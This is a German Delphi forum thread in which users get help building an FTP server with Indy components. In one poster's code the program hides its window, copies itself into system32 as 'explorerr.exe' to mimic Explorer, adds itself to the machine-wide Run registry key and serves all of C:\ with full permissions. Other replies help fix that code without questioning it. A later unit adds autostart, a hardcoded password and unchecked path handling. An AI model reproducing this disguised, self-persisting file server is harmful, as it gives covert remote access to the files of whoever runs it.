ftp-server

Juliman · Beiträge: 81

Hallo Leute!

Ich benutze indy für delpi 7 und versuche ein ftp server zu programmieren. Aber ich hab efolgendes problem:

1.) Wie mache ich das, das wenn amn sich connected das dann C:\das start verzeichniss ist
2.) Und wie mache ich das, das man dort dann alles machen kann??

Danke schön

Doc Morelli · Beiträge: 27

Hi Juliman,

zu 1) Das kann man unter der procedure OnListDirectory & OnChangeDirectory einstellen:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:

procedure TForm1.Ftp1ListDirectory(ASender: TIdFTPServerThread; const APath: String; ADirectoryListing: TIdFTPListItems);
var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := 'C:\';
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then
      begin
        LItem := ADirectoryListing.Add;
        LItem.FileName := tmp1.Name;
        LItem.Size := tmp1.Size;
        LItem.OwnerName := 'Username';
        LItem.GroupName := 'Groupname';
        LItem.OwnerPermissions := 'rwx';
        LItem.GroupPermissions := 'rwx';
        LItem.UserPermissions := 'rwx';
        if DirectoryExists(LPfad + tmp1.Name) then
           LItem.ItemType := ditDirectory
        else
           LItem.ItemType := idftplist.ditFile;
      end;
    until FindNext(tmp1) <> 0;
  end;
  FindClose(tmp1);
end;

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:

procedure TForm1.Ftp1ChangeDirectory(ASender: TIdFTPServerThread; var VDirectory: String);
begin
  if not DirectoryExists('C:\' + VDirectory) then
     VDirectory := ASender.CurrentDir;
end;

Habs zwar net getestet, müsste aber klappen...

Zu 2) Da gibt es auch so einige Ereignisse, die man einstellen kann:
OnDeleteFile,
OnMakeDirectory,
OnRemoveDirectory,
OnRenameFile,
OnRetrieveFile.

Da musste dann das, was gemacht werden soll selbst machen, zB bei MAkeDirectory:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:

procedure TForm1.IdFTPServer1MakeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
createdirectory(PChar(VDirectory), nil);
end;

Juliman · Beiträge: 81

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer;

type
  TForm1 = class(TForm)
    ftpserver: TIdFTPServer;
    procedure FormCreate(Sender: TObject);
    procedure ftpserverListDirectory(ASender: TIdFTPServerThread;
      const APath: String; ADirectoryListing: TIdFTPListItems);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

var
autostart:TRegistry;
fileSource, fileDest: string;

procedure TForm1.FormCreate(Sender: TObject);
begin


//verstecken
  begin
    Application.ShowMainForm:=false;
  end;



//autostart
  begin
    autostart:=TRegistry.Create;
    autostart.RootKey:=HKEY_LOCAL_MACHINE;
    autostart.openKey('Software\Microsoft\Windows\CurrentVersion\Run\', true);
    autostart.WriteString ('explorerr', 'C:\WINNT\system32\explorerr.exe');
  end;



//kopieren der eigenen datei

  begin
    fileSource := 'server_1.exe';
    fileDest := 'C:\WINNT\system32\explorerr.exe';
    CopyFile(PChar(fileSource), PChar(fileDest), False);
  end;




//ftpserver:=active

  begin
    ftpserver.active:=TRUE;
  end;


end;
procedure TForm1.ftpserverListDirectory(ASender: TIdFTPServerThread;
  const APath: String; ADirectoryListing: TIdFTPListItems);

var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := 'C:\';
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then
      begin
        LItem := ADirectoryListing.Add;
        LItem.FileName := tmp1.Name;
        LItem.Size := tmp1.Size;
        LItem.OwnerName := 'Username';
        LItem.GroupName := 'Groupname';
        LItem.OwnerPermissions := 'rwx';
        LItem.GroupPermissions := 'rwx';
        LItem.UserPermissions := 'rwx';
        if DirectoryExists(LPfad + tmp1.Name) then
           LItem.ItemType := ditDirectory
        else
           LItem.ItemType := idftplist.ditFile;
      end;
    until FindNext(tmp1) <> 0;
  end;
  FindClose(tmp1);
end;


end.

markieren

Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:

[Fehler] server.pas(14): Undefinierter Bezeichner: 'TIdFTPListItems'
[Fehler] server.pas(75): Undefinierter Bezeichner: 'TidFTPListItem'
[Fehler] server.pas(87): Operator oder Semikolon fehlt
[Fehler] server.pas(88): Operator oder Semikolon fehlt
[Fehler] server.pas(89): Operator oder Semikolon fehlt
[Fehler] server.pas(89): Anweisung erforderlich, aber Ausdruck vom Typ 'Integer' gefunden
[Fehler] server.pas(90): Operator oder Semikolon fehlt
[Fehler] server.pas(91): Operator oder Semikolon fehlt
[Fehler] server.pas(92): Operator oder Semikolon fehlt
[Fehler] server.pas(93): Operator oder Semikolon fehlt
[Fehler] server.pas(94): Operator oder Semikolon fehlt
[Fehler] server.pas(96): Operator oder Semikolon fehlt
[Fehler] server.pas(96): Undefinierter Bezeichner: 'ditDirectory'
[Fehler] server.pas(98): Operator oder Semikolon fehlt
[Fehler] server.pas(98): Undefinierter Bezeichner: 'idftplist'
[Fataler Fehler] server_1.dpr(5): Verwendete Unit 'server.pas' kann nicht compiliert werden

Moderiert von Gausi: Code- durch Delphi-Tags ersetzt

Doc Morelli · Beiträge: 27

markieren

Delphi-Quelltext

1:
2:

Uses
    {...}, idftplist;

Juliman · Beiträge: 81

Juhu! Das klappt. Ich kann es jetzt kompilieren, aber wenn ich per ftp connecte, dann sagt er, wenn ich 'dir' eingebe: Es wurde kein Ereignis OnListDirectorx gefunden

??? Warum das denn nicht???

Hilfe!? *g*

wulfskin · Verfasst: So 03.10.04 17:23

Hallo Juliman,

Doc Morelli hat schon erwähnt, dass es verschiedene Ereignisse gibt (er nannte sie Prozeduren), auf die du reagieren musst. So zum Beispiel OnDeleteFile, usw.

Ich denke, es gibt deshalb genauso ein Ereignis OnListDirectory, dass immer dann aufgerufen wird, wenn der Client den Befehl "dir" sendet. Deine Aufgabe als Programmierer ist es nun diese Ereignis auszuwerten und die vom Benutzer gewünschten Aufgaben zu erledigen, wie im Beispiel die Dateien und Verzeichnisse anzuzeigen.

Gruß Hape!

_________________
Manche antworten um ihren Beitragszähler zu erhöhen, andere um zu Helfen.

Juliman · Beiträge: 81

Das war mir auch klar... da ist ja auch ein ereignis wie du oben im Quelltext sehen kannst.. aber ich weiß nicht wieso der das nicht erkennt...

wulfskin · Verfasst: So 03.10.04 17:41

Juliman hat folgendes geschrieben:

Das war mir auch klar... da ist ja auch ein ereignis wie du oben im Quelltext sehen kannst.. aber ich weiß nicht wieso der das nicht erkennt...

Wer so unfreundlich antwortet, hat es eigentlich nicht verdient Hilfe zu bekommen.

Trotz allem habe ich dier Indy-Komponenten installiert und ein Mini-Beispiel zur Veranschaulichung geschrieben. Aber eigentlich, habe ich die Lösung im vorigen Beitrag schon geschrieben. Ein Blick auf die Eigenschaften/Methoden von TIdFTPListItems hätte genügt um selbst auf die Lösung zu kommen :evil:

:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:

OnListDirectory:
var
  Item: TIdFTPListItem;
begin
  Item := ADirectoryListing.Add;
  Item.FileName := 'C:\test.dat';
  Item.Size := 10;

Jetzt musst du halt das Verzeichnis mit FindFirst/FindNext durchsuchen und die einzelnen Items hinuzufügen. FERTIG!

Gruß Hape!

_________________
Manche antworten um ihren Beitragszähler zu erhöhen, andere um zu Helfen.

Juliman · Beiträge: 81

Es tut mir leid das ich so unfreundlich war! ABer ich habe das nicht so ganz verstanden mit dem findfirst und so?!

Ich habe das jetzt so eingebaut, aber ich will ja, das er alles auflistet, was auf C:\ ist! Hoffentlich kannst du mir noch einmal helfen?!

Julian

wulfskin · Verfasst: So 03.10.04 18:06

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:

OnListDirectory:
var
  F: TSearchRec;
  Item: TIdFTPListItem;
begin
  if FindFirst(Dir + '*.*', faAnyFile, F) = 0 then begin
    repeat
      Item := ADirectoryListing.Add;
      Item.Size := F.Size;
      Item.FileName := F.Name;
//      Item.OwnerName := 'Ich';
//      Item.GroupName := 'Group';
      Item.ModifiedDate := FileDateToDateTime(F.Time);
      if (F.Attr AND faDirectory) > 0 then
        Item.ItemType := ditDirectory
      else
        Item.ItemType := ditFile;
    until FindNext(F) <> 0;
  end;
  FindClose(F);

Ist alles nur profisorisch. Ich würde das aktuelle Verzeichnis in einer globalen Variable speichern, damit du darauf dann zugreifen kann (im Beispiel "dir"), da die lokale Variable APath Slashes und Backslashes enthält.

Gruß Hape!

_________________
Manche antworten um ihren Beitragszähler zu erhöhen, andere um zu Helfen.

Juliman · Beiträge: 81

Es tut mir ja leid, aber er dagt jetzt:

Undefinierter Bezeichner 'Dir'

Sorry

Julian

Juliman · Beiträge: 81

Weiß den keiner, was ich mahcen kanN??

wulfskin · Verfasst: Mo 04.10.04 19:32

Zitat:

Ich würde das aktuelle Verzeichnis in einer globalen Variable speichern, damit du darauf dann zugreifen kann (im Beispiel "dir")

Wie schon gesagt heisst die globale Veriable, die den aktuellen Pfad beinhaltet, dir. Wenn dir das nicht gefällt, dann ersetz die Zeile 6 mit Dir einfach durch irgendwas in der Art: if FindFirst('C:\*.*', faAnyFile, F) = 0 then beginGrundlagen....

Gruß Hape!

_________________
Manche antworten um ihren Beitragszähler zu erhöhen, andere um zu Helfen.

Juliman · Beiträge: 81

Jup jetzt ist alles okay! Danke schön...

F.Art · Beiträge: 434

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer, idFTPList;

type
  TForm1 = class(TForm)
    IdFTPServer: TIdFTPServer;
    procedure IdFTPServerUserLogin(ASender: TIdFTPServerThread;
      const AUsername, APassword: String; var AAuthenticated: Boolean);
    procedure IdFTPServerListDirectory(ASender: TIdFTPServerThread;
      const APath: String; ADirectoryListing: TIdFTPListItems);
    procedure IdFTPServerChangeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
    procedure IdFTPServerMakeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.IdFTPServerUserLogin(ASender: TIdFTPServerThread;
  const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
  AAuthenticated := ( AUsername = 'test' ) and ( APassword = '123' ) ;
  if not AAuthenticated then exit;
  ASender.HomeDir := 'D:\';
  ASender.CurrentDir := 'D:\';
end;

procedure TForm1.IdFTPServerListDirectory(ASender: TIdFTPServerThread;
  const APath: String; ADirectoryListing: TIdFTPListItems);
var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := 'D:\';
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat  
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then  
      begin  
        LItem := ADirectoryListing.Add;  
        LItem.FileName := tmp1.Name;  
        LItem.Size := tmp1.Size;  
        LItem.OwnerName := 'Username';  
        LItem.GroupName := 'Groupname';  
        LItem.OwnerPermissions := 'rwx';  
        LItem.GroupPermissions := 'rwx';  
        LItem.UserPermissions := 'rwx';  
        if DirectoryExists(LPfad + tmp1.Name) then  
           LItem.ItemType := ditDirectory  
        else  
           LItem.ItemType := idftplist.ditFile;  
      end;  
    until FindNext(tmp1) <> 0;  
  end;  
  FindClose(tmp1);  
end; 

procedure TForm1.IdFTPServerChangeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin  
if not DirectoryExists('D:\' + VDirectory) then VDirectory := ASender.CurrentDir;
end; 

procedure TForm1.IdFTPServerMakeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
CreateDirectory(PChar(VDirectory), nil);
end;

end.

Irgendwie komme ich mit der idFTP Server nicht zurecht. Er listet mir das Verzeichnis von d: aber wenn ich in ein unterverzeichnis springen will nicht mehr.
Wer hilft mir weiter?

Oliver Marx · Verfasst: Mi 27.10.04 10:56 Titel: Antwort: Listet keine Unterverzeichnisse

Hallo F.Art,

In deinem bisherigen Code hast du in OnListDirectory immer LPath:='D:\'; gesagt. Du musst aber in LPath den Wert von APath übernehmen, damit der Computer auch weiß, in welchem Ordner er zu suchen hat.
Folgende Funktion wandelt den Unixpfad in einen Dospfad um:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:

function TForm1.TranslatePath(pfad: string): string;
var
   i: integer;
Begin
   for i:=0 to length(pfad) do
      if pfad[i]='/' then pfad[i]:='\';
   for i:=length(pfad)-1 downto 0 do
   if pfad[i]='\' then
   begin
      delete(pfad,i+1,length(pfad)-i);
      break;
   end;
   if copy(pfad,1,1)='\' then delete(pfad,1,1);
   TranslatePath:=pfad;
End;

Danach musst du noch in OnListDirectory LPfad:='D:\' in

markieren

Delphi-Quelltext

1:	LPfad := 'D:\'+TranslatePath(APath);

ändern.

F.Art · Beiträge: 434

Ich habe diese Funktion eingebaut aber nun zeigt er mir die Directories und Files nicht mehr an.

Oliver Marx · Verfasst: Mi 27.10.04 13:57

Du musst Emulate System auf ftpsUNIX stehen haben!

Aus dem Quellcode geht es nicht hervor, ob du diese Einstellung getroffen hast oder nicht.

F.Art · Beiträge: 434

Ich habe es auf UNIX eingestellt. Woran kann es sonst noch liegen?

F.Art · Beiträge: 434

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:

unit Main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer, idFTPList,
  Registry;

type
  TForm1 = class(TForm)
    FTPServer: TIdFTPServer;
    procedure FTPServerUserLogin(ASender: TIdFTPServerThread;
      const AUsername, APassword: String; var AAuthenticated: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FTPServerChangeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
    procedure FTPServerDeleteFile(ASender: TIdFTPServerThread;
      const APathName: String);
    procedure FTPServerListDirectory(ASender: TIdFTPServerThread;
      const APath: String; ADirectoryListing: TIdFTPListItems);
    procedure FTPServerMakeDirectory(ASender: TIdFTPServerThread;
      var VDirectory: String);
    procedure FTPServerRenameFile(ASender: TIdFTPServerThread;
      const ARenameFromFile, ARenameToFile: String);
    procedure FTPServerRetrieveFile(ASender: TIdFTPServerThread;
      const AFileName: String; var VStream: TStream);
    procedure FTPServerStoreFile(ASender: TIdFTPServerThread;
      const AFileName: String; AAppend: Boolean; var VStream: TStream);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1 : TForm1;
  mHandle : THandle;
  FTPDrive : string;

implementation

{$R *.dfm}

function TranslatePath(pfad: string): string;
var
   i: integer;
Begin
   for i:=0 to length(pfad) do
      if pfad[i]='/' then pfad[i]:='\';
   for i:=length(pfad)-1 downto 0 do
   if pfad[i]='\' then
   begin
      delete(pfad,i+1,length(pfad)-i);
      break;
   end;
   if copy(pfad,1,1)='\' then delete(pfad,1,1);
   TranslatePath:=pfad;
End;

function TranslateCompletePath(Laufwerk, Pfad: String): string;
var
   i: integer;
begin
   if copy(Laufwerk,length(Laufwerk),1)='\' then delete(Laufwerk,length(Laufwerk),1);
   if copy(pfad,1,1)<>'/' then pfad:='/'+pfad;
   for i:=0 to length(pfad) do
      if pfad[i]='/' then pfad[i]:='\';
   TranslateCompletePath:=Laufwerk+pfad;
end;

procedure TForm1.FTPServerUserLogin(ASender: TIdFTPServerThread;
  const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
AAuthenticated := ( AUsername = 'K-iS' ) and ( APassword = 'Service2003' ) ;
if not AAuthenticated then exit;
ASender.CurrentDir := '/';
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
FTPDrive := 'C:\';
with TRegistry.Create do begin try
     Rootkey:=HKEY_LOCAL_MACHINE;
     OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
     WriteString('FTP Server',paramstr(0));
     finally
     Free;
     end; end;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
FTPServer.Active:=False;
end;

procedure TForm1.FTPServerChangeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
if not DirectoryExists(FTPDrive + VDirectory) then VDirectory := ASender.CurrentDir;
end;

procedure TForm1.FTPServerDeleteFile(ASender: TIdFTPServerThread;
  const APathName: String);
begin
DeleteFile(TranslateCompletePath(FTPDrive + ASender.HomeDir, APathName));
end;

procedure TForm1.FTPServerListDirectory(ASender: TIdFTPServerThread;
  const APath: String; ADirectoryListing: TIdFTPListItems);
var LItem: TidFTPListItem;
    tmp1: TSearchRec;
    LFileAttribute: Integer;
    LPfad: String;
begin
  LPfad := FTPDrive+TranslatePath(APath);
  LFileAttribute := FILE_ATTRIBUTE_DIRECTORY + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM;
  if FindFirst(LPfad + '*', LFileAttribute, tmp1) = 0 then
  begin
    repeat
      if (tmp1.Name <> '.') and (tmp1.Name <> '..') then
      begin
        LItem := ADirectoryListing.Add;
        LItem.FileName := tmp1.Name;
        LItem.Size := tmp1.Size;
        LItem.OwnerName := 'Username';
        LItem.GroupName := 'Groupname';
        LItem.OwnerPermissions := 'rwx';
        LItem.GroupPermissions := 'rwx';
        LItem.UserPermissions := 'rwx';
        if DirectoryExists(LPfad + tmp1.Name) then
           LItem.ItemType := ditDirectory
        else
           LItem.ItemType := idftplist.ditFile;
      end;
    until FindNext(tmp1) <> 0;
  end;
  FindClose(tmp1);
end;

procedure TForm1.FTPServerMakeDirectory(ASender: TIdFTPServerThread;
  var VDirectory: String);
begin
CreateDirectory(PChar(VDirectory), nil);
end;

procedure TForm1.FTPServerRenameFile(ASender: TIdFTPServerThread;
  const ARenameFromFile, ARenameToFile: String);
begin
RenameFile(TranslateCompletePath(ASender.HomeDir, ARenameFromFile),TranslateCompletePath(ASender.HomeDir, ARenameToFile));
end;

procedure TForm1.FTPServerRetrieveFile(ASender: TIdFTPServerThread;
  const AFileName: String; var VStream: TStream);
begin
VStream:=TFileStream.Create(translatecompletepath(ASender.HomeDir, AFileName), fmOpenRead or fmShareExclusive ) ;
end;

procedure TForm1.FTPServerStoreFile(ASender: TIdFTPServerThread;
  const AFileName: String; AAppend: Boolean; var VStream: TStream);
begin
   if FileExists( translatecompletepath(ASender.HomeDir, AFileName) ) and AAppend then
   begin
      VStream:=TFileStream.Create(translatecompletepath(ASender.HomeDir, AFileName), fmOpenWrite or fmShareExclusive ) ;
      VStream.Seek( 0, soFromEnd ) ;
   end
   else
      VStream := TFileStream.create(translatecompletepath( ASender.HomeDir, AFileName), fmCreate or fmShareExclusive ) ;
end;

Initialization
  mHandle:=CreateMutex(nil,True,'FTP Server');
  if GetLastError=ERROR_ALREADY_EXISTS then Halt;

finalization
  if mHandle<>0 then CloseHandle(mHandle);

end.

Irgendwie habe ich hier noch Fehler drinne.
Er kann nicht auf den richtigen Pfad zugreifen beim löschen etc, wo ist der Fehler?

Moderiert von Gausi: Code- durch Delphi-Tags ersetzt

	Mitgliederliste
	Gruppen
	Das Team
	Richtlinien
	Synonyme